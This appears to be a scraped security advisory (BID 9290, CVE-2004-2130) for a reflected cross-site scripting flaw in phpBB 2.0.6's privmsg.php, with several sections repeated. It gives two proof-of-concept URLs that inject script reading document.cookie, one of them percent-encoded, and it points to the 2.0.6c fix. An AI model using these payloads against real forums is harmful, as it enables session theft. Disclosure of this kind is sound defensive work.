phpBB Privmsg.PHP Cross-Site Scripting Vulnerability
BID:9290
Info
phpBB Privmsg.PHP Cross-Site Scripting Vulnerability
| Bugtraq ID: | 9290 |
| Class: | Input Validation Error |
| CVE: |
CVE-2004-2130 |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 23 2003 12:00AM |
| Updated: | Jul 12 2009 12:56AM |
| Credit: | Discovery of this vulnerability has been credited to Ben Drysdale <[email protected]>. |
| Vulnerable: |
phpBB Group phpBB 2.0.6 |
| Not Vulnerable: |
phpBB Group phpBB 2.0.6 c |
Discussion
phpBB Privmsg.PHP Cross-Site Scripting Vulnerability
phpBB is prone to a cross-site scripting vulnerability in the 'privmsg.php' script. The source of the problem is that HTML and script code are not adequately sanitized from input supplied via URI parameters. This input will be included in dynamically generated web pages. A remote attacker could exploit this issue by embedding hostile HTML and script code in a malicious link to the vulnerable script. The attacker-supplied code will be interpreted in the context of the site hosting the vulnerable software.
phpBB is prone to a cross-site scripting vulnerability in the 'privmsg.php' script. The source of the problem is that HTML and script code are not adequately sanitized from input supplied via URI parameters. This input will be included in dynamically generated web pages. A remote attacker could exploit this issue by embedding hostile HTML and script code in a malicious link to the vulnerable script. The attacker-supplied code will be interpreted in the context of the site hosting the vulnerable software.
Exploit / POC
phpBB Privmsg.PHP Cross-Site Scripting Vulnerability
The following proof of concept has been supplied:
http://www.example.com/forums/privmsg.php?mode=""><script>alert(document.cookie);</scrip
t>post&u=2
William Heatley has supplied the following proof of concept:
http://www.example.com/phpBB/privmsg.php?mode=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C
The following proof of concept has been supplied:
http://www.example.com/forums/privmsg.php?mode=""><script>alert(document.cookie);</scrip
t>post&u=2
William Heatley has supplied the following proof of concept:
http://www.example.com/phpBB/privmsg.php?mode=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C
Solution / Fix
phpBB Privmsg.PHP Cross-Site Scripting Vulnerability
Solution:
The vendor has released phpBB 2.0.6c to address this and other issues. Users are advised to upgrade to the fixed version.
phpBB Group phpBB 2.0.6
Solution:
The vendor has released phpBB 2.0.6c to address this and other issues. Users are advised to upgrade to the fixed version.
phpBB Group phpBB 2.0.6
-
phpBB Group phpBB-2.0.6.zip
http://prdownloads.sourceforge.net/phpbb/phpBB-2.0.6.zip?download
References
phpBB Privmsg.PHP Cross-Site Scripting Vulnerability
References:
References:
- phpBB privmsg.php XSS vulnerability patch. (=?iso-8859-1?q?Shaun=20Colley?=
)